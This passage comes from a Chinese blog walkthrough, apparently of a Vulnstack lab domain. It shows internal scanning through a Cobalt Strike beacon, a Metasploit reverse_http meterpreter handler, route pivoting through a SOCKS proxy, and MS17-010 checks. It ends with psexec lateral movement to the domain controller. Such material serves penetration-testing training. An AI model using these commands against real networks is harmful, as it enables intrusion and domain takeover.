class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">192.168.52.138:80 open</span><br><span class="line">192.168.52.141:21 open</span><br><span class="line">192.168.52.141:135 open</span><br><span class="line">192.168.52.143:135 open</span><br><span class="line">192.168.52.1:135 open</span><br><span class="line">192.168.52.138:135 open</span><br><span class="line">192.168.52.143:80 open</span><br><span class="line">192.168.52.141:7001 open</span><br><span class="line">192.168.52.143:3306 open</span><br><span class="line">192.168.52.141:445 open</span><br><span class="line">192.168.52.143:445 open</span><br><span class="line">192.168.52.1:445 open</span><br><span class="line">192.168.52.138:445 open</span><br><span class="line">192.168.52.141:139 open</span><br><span class="line">192.168.52.143:139 open</span><br><span class="line">192.168.52.1:139 open</span><br><span class="line">192.168.52.138:139 open</span><br><span class="line">192.168.52.138:88 open</span><br><span class="line">192.168.52.141:7002 open</span><br><span class="line">192.168.52.1:8088 open</span><br><span class="line">192.168.52.1:8161 open</span><br><span class="line">192.168.52.141:8099 open</span><br><span class="line">192.168.52.141:8098 open</span><br><span class="line">192.168.52.1:8099 open</span><br><span class="line">192.168.52.1:8098 open</span><br><span class="line">192.168.52.1:8834 open</span><br><span class="line">[+] 192.168.52.143MS17-010(Windows 7 Professional 7601 Service Pack 1)</span><br><span class="line">[+] NetInfo:</span><br><span class="line">[*]192.168.52.143</span><br><span class="line">   [-&gt;]stu1</span><br><span class="line">   [-&gt;]192.168.52.143</span><br><span class="line">   [-&gt;]169.254.129.186</span><br><span class="line">   [-&gt;]192.168.232.129</span><br><span class="line">[*] 192.168.52.143       GOD\STU1              Windows 7 Professional 7601 Service Pack 1</span><br><span class="line">[*] 192.168.52.141       __MSBROWSE__\SNTL_ROOT-TVI86   </span><br><span class="line">[+] NetInfo:</span><br><span class="line">[*]192.168.52.141</span><br><span class="line">   [-&gt;]root-tvi862ubeh</span><br><span class="line">   [-&gt;]192.168.52.141</span><br><span class="line">[+] NetInfo:</span><br><span class="line">[*]192.168.52.138</span><br><span class="line">   [-&gt;]owa</span><br><span class="line">   [-&gt;]192.168.52.138</span><br><span class="line">[+] NetInfo:</span><br><span class="line">[*]192.168.52.1</span><br><span class="line">   [-&gt;]LAPTOP-QLSFIGJ9</span><br><span class="line">   [-&gt;]192.168.232.1</span><br><span class="line">   [-&gt;]192.168.108.1</span><br><span class="line">   [-&gt;]192.168.52.1</span><br><span class="line">   [-&gt;]192.168.1.227</span><br><span class="line">   [-&gt;]fdd7:e884:25e6:0:a568:4b3d:d112:3b74</span><br><span class="line">   [-&gt;]fdd7:e884:25e6:0:f4f2:819e:993f:1aab</span><br><span class="line">[*] 192.168.52.1         WORKGROUP\LAPTOP-QLSFIGJ9   </span><br><span class="line">[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor</span><br><span class="line">[+] 192.168.52.141MS17-010(Windows Server 2003 3790)</span><br><span class="line">[*] WebTitle:https://192.168.52.1:8834 code:200 len:1629   title:Nessus</span><br><span class="line">[*] WebTitle:http://192.168.52.1:8161  code:302 len:0      title:None 跳转url: http://192.168.52.1:8161/index.html</span><br><span class="line">[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1</span><br><span class="line">[+] 192.168.52.138MS17-010(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)</span><br><span class="line">[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel</span><br><span class="line">[*] WebTitle:https://192.168.52.141:8098 code:401 len:1656   title:You are not authorized to view this page</span><br><span class="line">[*] WebTitle:http://192.168.52.1:8161/index.html code:200 len:6180   title:Apache ActiveMQ</span><br><span class="line">[+] InfoScan:http://192.168.52.1:8161/index.html [activemq] </span><br><span class="line">[*] WebTitle:http://192.168.52.138     code:200 len:689    title:IIS7</span><br><span class="line">[*] WebTitle:https://192.168.52.1:8088 code:200 len:14     title:None</span><br><span class="line">[*] WebTitle:http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014</span><br><span class="line">[+] ftp://192.168.52.141:21:anonymous </span><br><span class="line">[*] WebTitle:http://192.168.52.1:8099  code:403 len:48     title:None</span><br><span class="line">[+] http://192.168.52.1:8161 poc-yaml-activemq-default-password</span><br></pre></td></tr></table></figure><p>使用Ladon也行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[08/26 14:15:03] [*] Ladon 192.168.52.1/24 OnlineIP</span><br><span class="line">[08/26 14:15:04] [+] host called home, sent: 496219 bytes</span><br><span class="line">[08/26 14:15:05] [+] received output:</span><br><span class="line">Ladon 9.1.1</span><br><span class="line">Start: 2024-08-26 14:15:05</span><br><span class="line">Runtime: .net 4.0  ME: x64 OS: x64</span><br><span class="line">OS Name: Microsoft Windows 7 专业版 </span><br><span class="line">Machine Make: VMware, Inc.</span><br><span class="line">RunUser: Administrator PR: *IsAdmin</span><br><span class="line">Priv: SeImpersonatePrivilege 已启用</span><br><span class="line">PID: 2452  CurrentProcess: rundll32</span><br><span class="line">FreeSpace: Disk C:\ 6563 MB</span><br><span class="line"></span><br><span class="line">load OnlineIP</span><br><span class="line">192.168.52.1/24 is Valid CIDR</span><br><span class="line">IPCound: 256</span><br><span class="line">Scan Start: 2024-08-26 14:15:05</span><br><span class="line">192.168.52.1</span><br><span class="line"></span><br><span class="line">[08/26 14:15:28] [+] received output:</span><br><span class="line">192.168.52.138</span><br><span class="line">192.168.52.141</span><br><span class="line">192.168.52.143</span><br><span class="line"></span><br><span class="line">[08/26 14:16:04] [+] received output:</span><br><span class="line">=============================================</span><br><span class="line">OnlinePC:4</span><br><span class="line">Cidr Scan Finished!</span><br><span class="line">End: 2024-08-26 14:16:04</span><br></pre></td></tr></table></figure><p>OSScan功能能扫描到系统版本，还有是否虚拟机</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[08/26 14:20:16] [*] Tasked beacon to run .NET program: Ladon.exe 192.168.52.0/24 OSScan</span><br><span class="line">[08/26 14:20:21] [+] host called home, sent: 1036887 bytes</span><br><span class="line">[08/26 14:20:22] [+] received output:</span><br><span class="line">Ladon 7.5</span><br><span class="line">Start: 2024-08-26 14:20:22</span><br><span class="line">Runtime: .net 4.0  ME: x64 OS: x64</span><br><span class="line">OS Name: Microsoft Windows 7 专业版 </span><br><span class="line">RunUser: SYSTEM PR: *IsSystem</span><br><span class="line">Priv: SeImpersonatePrivilege 已启用</span><br><span class="line">PID: 2312  CurrentProcess: rundll32</span><br><span class="line"></span><br><span class="line">load OsScan</span><br><span class="line">IPMacDomain/HostNameOSversion/ServiceVendor</span><br><span class="line">192.168.52.0/24 is Valid CIDR</span><br><span class="line">IPCound: 256</span><br><span class="line">Scan Start: 2024-08-26 14:20:22</span><br><span class="line"></span><br><span class="line">[08/26 14:20:31] [+] received output:</span><br><span class="line">192.168.52.100-50-56-C0-00-02WORKGROUP\LAPTOP-QLSFIGJ9[Win Netbios Name]VMware</span><br><span class="line"></span><br><span class="line">[08/26 14:20:40] [+] received output:</span><br><span class="line">192.168.52.143 00-0C-29-B4-9F-EFgod.org\STU1   [Win 7 Professional 7601 SP 1]VMware</span><br><span class="line">192.168.52.138 00-0C-29-2C-84-78god.org\OWA    [Win 2008 R2 Datacenter 7601 SP 1]VMware</span><br><span class="line">192.168.52.141 00-0C-29-23-21-64god.org\ROOT-TVI862UBEH[Win 2003 3790]VMware</span><br></pre></td></tr></table></figure><h1 id="msf联动"><a href="#msf联动" class="headerlink" title="msf联动"></a>msf联动</h1><p>新建一个windows/foreign/reverse_http的监听</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/e86b9ad76c5823ca574325d3dd203312_1724726723512.png" alt></p><p>msf输入</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use exploit/multi/handler</span><br><span class="line">set payload windows/meterpreter/reverse_http（跟cs上选用的payload一样）</span><br><span class="line">set lhost 本机ip</span><br><span class="line">set lport 9999</span><br><span class="line">exploit</span><br></pre></td></tr></table></figure><p>cs新建会话，选择msf的监听器</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/a9c77acf62cc96582ca95c2c53f45b41_1724726865455.png" alt></p><p>添加路由</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; run post/multi/manage/autoroute </span><br><span class="line"></span><br><span class="line">[*] Running module against STU1</span><br><span class="line">[*] Searching for subnets to autoroute.</span><br><span class="line">[+] Route added to subnet 192.168.52.0/255.255.255.0 from host&apos;s routing table.</span><br><span class="line">[+] Route added to subnet 192.168.232.0/255.255.255.0 from host&apos;s routing table.</span><br><span class="line">meterpreter &gt; run autoroute -p</span><br><span class="line"></span><br><span class="line">[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.</span><br><span class="line">[!] Example: run post/multi/manage/autoroute OPTION=value [...]</span><br><span class="line"></span><br><span class="line">Active Routing Table</span><br><span class="line">====================</span><br><span class="line"></span><br><span class="line">   Subnet             Netmask            Gateway</span><br><span class="line">   ------             -------            -------</span><br><span class="line">   192.168.52.0       255.255.255.0      Session 1</span><br><span class="line">   192.168.232.0      255.255.255.0      Session 1</span><br></pre></td></tr></table></figure><p>arp主机存活扫描</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">msf6 exploit(multi/handler) &gt; use post/windows/gather/arp_scanner </span><br><span class="line">msf6 post(windows/gather/arp_scanner) &gt; show options </span><br><span class="line"></span><br><span class="line">Module options (post/windows/gather/arp_scanner):</span><br><span class="line"></span><br><span class="line">   Name     Current Setting  Required  Description</span><br><span class="line">   ----     ---------------  --------  -----------</span><br><span class="line">   RHOSTS                    yes       The target address range or CIDR identifier</span><br><span class="line">   SESSION                   yes       The session to run this module on</span><br><span class="line">   THREADS  10               no        The number of concurrent threads</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">View the full module info with the info, or info -d command.</span><br><span class="line"></span><br><span class="line">msf6 post(windows/gather/arp_scanner) &gt; sessions </span><br><span class="line"></span><br><span class="line">Active sessions</span><br><span class="line">===============</span><br><span class="line"></span><br><span class="line">  Id  Name  Type                     Information                 Connection</span><br><span class="line">  --  ----  ----                     -----------                 ----------</span><br><span class="line">  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ STU1  192.168.232.130:9999 -&gt; 192.168.2</span><br><span class="line">                                                                 32.129:62110 (192.168.232.129)</span><br><span class="line"></span><br><span class="line">msf6 post(windows/gather/arp_scanner) &gt; set session 1</span><br><span class="line">session =&gt; 1</span><br><span class="line">msf6 post(windows/gather/arp_scanner) &gt; set RHOSTS 192.168.52.1/24</span><br><span class="line">RHOSTS =&gt; 192.168.52.1/24</span><br><span class="line">msf6 post(windows/gather/arp_scanner) &gt; run</span><br><span class="line"></span><br><span class="line">[*] Running module against STU1</span><br><span class="line">[*] ARP Scanning 192.168.52.1/24</span><br><span class="line">[+] IP: 192.168.52.1 MAC 00:50:56:c0:00:02 (VMware, Inc.)</span><br><span class="line">[+] IP: 192.168.52.138 MAC 00:0c:29:2c:84:78 (VMware, Inc.)</span><br><span class="line">[+] IP: 192.168.52.143 MAC 00:0c:29:b4:9f:ef (VMware, Inc.)</span><br><span class="line">[+] IP: 192.168.52.141 MAC 00:0c:29:23:21:64 (VMware, Inc.)</span><br><span class="line">[+] IP: 192.168.52.255 MAC 00:0c:29:b4:9f:ef (VMware, Inc.)</span><br><span class="line">[+] IP: 192.168.52.254 MAC 00:50:56:e7:ae:61 (VMware, Inc.)</span><br><span class="line">[*] Post module execution completed</span><br></pre></td></tr></table></figure><p>udp主机存活扫描</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">msf6 post(windows/gather/arp_scanner) &gt; use auxiliary/scanner/discovery/udp_sweep</span><br><span class="line">msf6 auxiliary(scanner/discovery/udp_sweep) &gt; show options </span><br><span class="line"></span><br><span class="line">Module options (auxiliary/scanner/discovery/udp_sweep):</span><br><span class="line"></span><br><span class="line">   Name       Current Setting  Required  Description</span><br><span class="line">   ----       ---------------  --------  -----------</span><br><span class="line">   BATCHSIZE  256              yes       The number of hosts to probe in each set</span><br><span class="line">   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/</span><br><span class="line">                                         using-metasploit/basics/using-metasploit.html</span><br><span class="line">   THREADS    10               yes       The number of concurrent threads</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">View the full module info with the info, or info -d command.</span><br><span class="line"></span><br><span class="line">msf6 auxiliary(scanner/discovery/udp_sweep) &gt; set RHOSTS 192.168.52.1/24</span><br><span class="line">RHOSTS =&gt; 192.168.52.1/24</span><br><span class="line">msf6 auxiliary(scanner/discovery/udp_sweep) &gt; run</span><br><span class="line"></span><br><span class="line">[*] Sending 13 probes to 192.168.52.0-&gt;192.168.52.255 (256 hosts)</span><br><span class="line">[*] Discovered NetBIOS on 192.168.52.1:137 (LAPTOP-QLSFIGJ9:&lt;20&gt;:U :WORKGROUP:&lt;00&gt;:G :LAPTOP-QLSFIGJ9:&lt;00&gt;:U :00:50:56:c0:00:02)</span><br><span class="line">[*] Discovered NetBIOS on 192.168.52.138:137 (OWA:&lt;00&gt;:U :GOD:&lt;00&gt;:G :GOD:&lt;1c&gt;:G :OWA:&lt;20&gt;:U :GOD:&lt;1b&gt;:U :00:0c:29:2c:84:78)</span><br><span class="line">[*] Discovered DNS on 192.168.52.138:53 (Microsoft DNS)</span><br><span class="line">[*] Discovered NTP on 192.168.52.138:123 (1c0104fa00000000000a16cf4c4f434cea77a7f77836778bc54f234b71b152f3ea77c0c61d552fddea77c0c61d552fdd)</span><br><span class="line">[*] Discovered NetBIOS on 192.168.52.141:137 (ROOT-TVI862UBEH:&lt;00&gt;:U :GOD:&lt;00&gt;:G :SNTL_ROOT-TVI86:&lt;32&gt;:U :ROOT-TVI862UBEH:&lt;20&gt;:U :GOD:&lt;1e&gt;:G :GOD:&lt;1d&gt;:U :__MSBROWSE__:&lt;01&gt;:G :00:0c:29:23:21:64)</span><br><span class="line">[*] Discovered NetBIOS on 192.168.52.143:137 (STU1:&lt;00&gt;:U :GOD:&lt;00&gt;:G :STU1:&lt;20&gt;:U :00:0c:29:b4:9f:ef)</span><br><span class="line">[*] Scanned 256 of 256 hosts (100% complete)</span><br><span class="line">[*] Auxiliary module execution completed</span><br></pre></td></tr></table></figure><p>使用msf开启代理</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/server/socks_proxy</span><br><span class="line">run</span><br></pre></td></tr></table></figure><p>修改/etc/proxychains4.conf</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">└─$ tail /etc/proxychains4.conf </span><br><span class="line">#       proxy types: http, socks4, socks5, raw</span><br><span class="line">#         * raw: The traffic is simply forwarded to the proxy without modification.</span><br><span class="line">#        ( auth types supported: &quot;basic&quot;-http  &quot;user/pass&quot;-socks )</span><br><span class="line">#</span><br><span class="line">[ProxyList]</span><br><span class="line"># add proxy here ...</span><br><span class="line"># meanwile</span><br><span class="line"># defaults set to &quot;tor&quot;</span><br><span class="line">socks5 127.0.0.1 1080</span><br></pre></td></tr></table></figure><p>使用nmap扫描,另外的52.141就不贴了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br></pre></td><td class="code"><pre><span class="line">$ proxychains nmap -T4 -A -v -Pn 192.168.52.138</span><br><span class="line">[proxychains] config file found: /etc/proxychains4.conf</span><br><span class="line">[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4</span><br><span class="line">Host discovery disabled (-Pn). All addresses will be marked &apos;up&apos; and scan times may be slower.</span><br><span class="line">Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-26 23:12 EDT</span><br><span class="line">NSE: Loaded 156 scripts for scanning.</span><br><span class="line">NSE: Script Pre-scanning.</span><br><span class="line">Initiating NSE at 23:12</span><br><span class="line">Completed NSE at 23:12, 0.00s elapsed</span><br><span class="line">Initiating NSE at 23:12</span><br><span class="line">Completed NSE at 23:12, 0.00s elapsed</span><br><span class="line">Initiating NSE at 23:12</span><br><span class="line">Completed NSE at 23:12, 0.00s elapsed</span><br><span class="line">Initiating Parallel DNS resolution of 1 host. at 23:12</span><br><span class="line">Completed Parallel DNS resolution of 1 host. at 23:12, 0.01s elapsed</span><br><span class="line">Initiating SYN Stealth Scan at 23:12</span><br><span class="line">Scanning 192.168.52.138 [1000 ports]</span><br><span class="line">Discovered open port 135/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 53/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 80/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 445/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 139/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 49158/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 464/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 88/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 49161/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 49157/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 49167/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 3268/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 389/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 593/tcp on 192.168.52.138</span><br><span class="line">Discovered open port 3269/tcp on 192.168.52.138</span><br><span class="line">Completed SYN Stealth Scan at 23:12, 4.47s elapsed (1000 total ports)</span><br><span class="line">Initiating Service scan at 23:12</span><br><span class="line">Scanning 15 services on 192.168.52.138</span><br><span class="line">Completed Service scan at 23:12, 5.01s elapsed (15 services on 1 host)</span><br><span class="line">Initiating OS detection (try #1) against 192.168.52.138</span><br><span class="line">Retrying OS detection (try #2) against 192.168.52.138</span><br><span class="line">Initiating Traceroute at 23:12</span><br><span class="line">Completed Traceroute at 23:12, 9.10s elapsed</span><br><span class="line">NSE: Script scanning 192.168.52.138.</span><br><span class="line">Initiating NSE at 23:12</span><br><span class="line">Completed NSE at 23:13, 27.96s elapsed</span><br><span class="line">Initiating NSE at 23:13</span><br><span class="line">Completed NSE at 23:13, 0.55s elapsed</span><br><span class="line">Initiating NSE at 23:13</span><br><span class="line">Completed NSE at 23:13, 0.00s elapsed</span><br><span class="line">Nmap scan report for 192.168.52.138</span><br><span class="line">Host is up (0.0011s latency).</span><br><span class="line">Not shown: 985 filtered tcp ports (no-response)</span><br><span class="line">PORT      STATE SERVICE    VERSION</span><br><span class="line">53/tcp    open  tcpwrapped</span><br><span class="line">80/tcp    open  tcpwrapped</span><br><span class="line">|_http-server-header: Microsoft-IIS/7.5</span><br><span class="line">88/tcp    open  tcpwrapped</span><br><span class="line">135/tcp   open  tcpwrapped</span><br><span class="line">139/tcp   open  tcpwrapped</span><br><span class="line">389/tcp   open  tcpwrapped</span><br><span class="line">445/tcp   open  tcpwrapped</span><br><span class="line">464/tcp   open  tcpwrapped</span><br><span class="line">593/tcp   open  tcpwrapped</span><br><span class="line">3268/tcp  open  tcpwrapped</span><br><span class="line">3269/tcp  open  tcpwrapped</span><br><span class="line">49157/tcp open  tcpwrapped</span><br><span class="line">49158/tcp open  tcpwrapped</span><br><span class="line">49161/tcp open  tcpwrapped</span><br><span class="line">49167/tcp open  tcpwrapped</span><br><span class="line">Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port</span><br><span class="line">OS fingerprint not ideal because: Missing a closed TCP port so results incomplete</span><br><span class="line">No OS matches for host</span><br><span class="line"></span><br><span class="line">Host script results:</span><br><span class="line">|_smb2-time: Protocol negotiation failed (SMB2)</span><br><span class="line"></span><br><span class="line">TRACEROUTE (using port 135/tcp)</span><br><span class="line">HOP RTT    ADDRESS</span><br><span class="line">1   ... 30</span><br><span class="line"></span><br><span class="line">NSE: Script Post-scanning.</span><br><span class="line">Initiating NSE at 23:13</span><br><span class="line">Completed NSE at 23:13, 0.00s elapsed</span><br><span class="line">Initiating NSE at 23:13</span><br><span class="line">Completed NSE at 23:13, 0.00s elapsed</span><br><span class="line">Initiating NSE at 23:13</span><br><span class="line">Completed NSE at 23:13, 0.00s elapsed</span><br><span class="line">Read data files from: /usr/bin/../share/nmap</span><br><span class="line">OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br><span class="line">Nmap done: 1 IP address (1 host up) scanned in 54.63 seconds</span><br><span class="line">           Raw packets sent: 2223 (103.828KB) | Rcvd: 2402 (114.170KB)</span><br></pre></td></tr></table></figure><p>445端口开了可以尝试ms17-010永恒之蓝，当然也可以扫描一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; use auxiliary/scanner/smb/smb_ms17_010</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set RHOST 192.168.52.138</span><br><span class="line">RHOST =&gt; 192.168.52.138</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; run</span><br><span class="line"></span><br><span class="line">[+] 192.168.52.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)</span><br><span class="line">[*] 192.168.52.138:445    - Scanned 1 of 1 hosts (100% complete)</span><br><span class="line">[*] Auxiliary module execution completed</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set RHOST 192.168.52.141</span><br><span class="line">RHOST =&gt; 192.168.52.141</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; run</span><br><span class="line"></span><br><span class="line">[+] 192.168.52.141:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 x86 (32-bit)</span><br><span class="line">[*] 192.168.52.141:445    - Scanned 1 of 1 hosts (100% complete)</span><br><span class="line">[*] Auxiliary module execution completed</span><br></pre></td></tr></table></figure><p>可以使用<code>admin/smb/ms17_010_command</code>模块直接执行命令，永恒之蓝那个模块只支持64位版本系统</p><h1 id="CS横向移动"><a href="#CS横向移动" class="headerlink" title="CS横向移动"></a>CS横向移动</h1><p>52.141通过psexec获取</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/adaeb651e1abad8d5fb1b68a1025f0ec_1724725851242.png" alt><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/9b3ab5d1389553c9d704ef68932c4ad4_1724725879198.png" alt></p><p>而 52.138通过psexec_psh获取到权限</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="http://vulnstack.qiyuanxuetang.net/vuln/detail/2/" target="_blank" rel="noopener">http://vulnstack.qiyuanxuetang.net/vuln/detail/2/</a><br><a href="https://www.cnblogs.com/yokan/p/14021537.html" target="_blank" rel="noopener">https://www.cnblogs.com/yokan/p/14021537.html</a><br><a href="https://blog.csdn.net/weixin_39190897/article/details/118353886" target="_blank" rel="noopener">https://blog.csdn.net/weixin_39190897/article/details/118353886</a><br><a href="https://www.cnblogs.com/1vxyz/p/17201316.html" target="_blank" rel="noopener">https://www.cnblogs.com/1vxyz/p/17201316.html</a><br><a 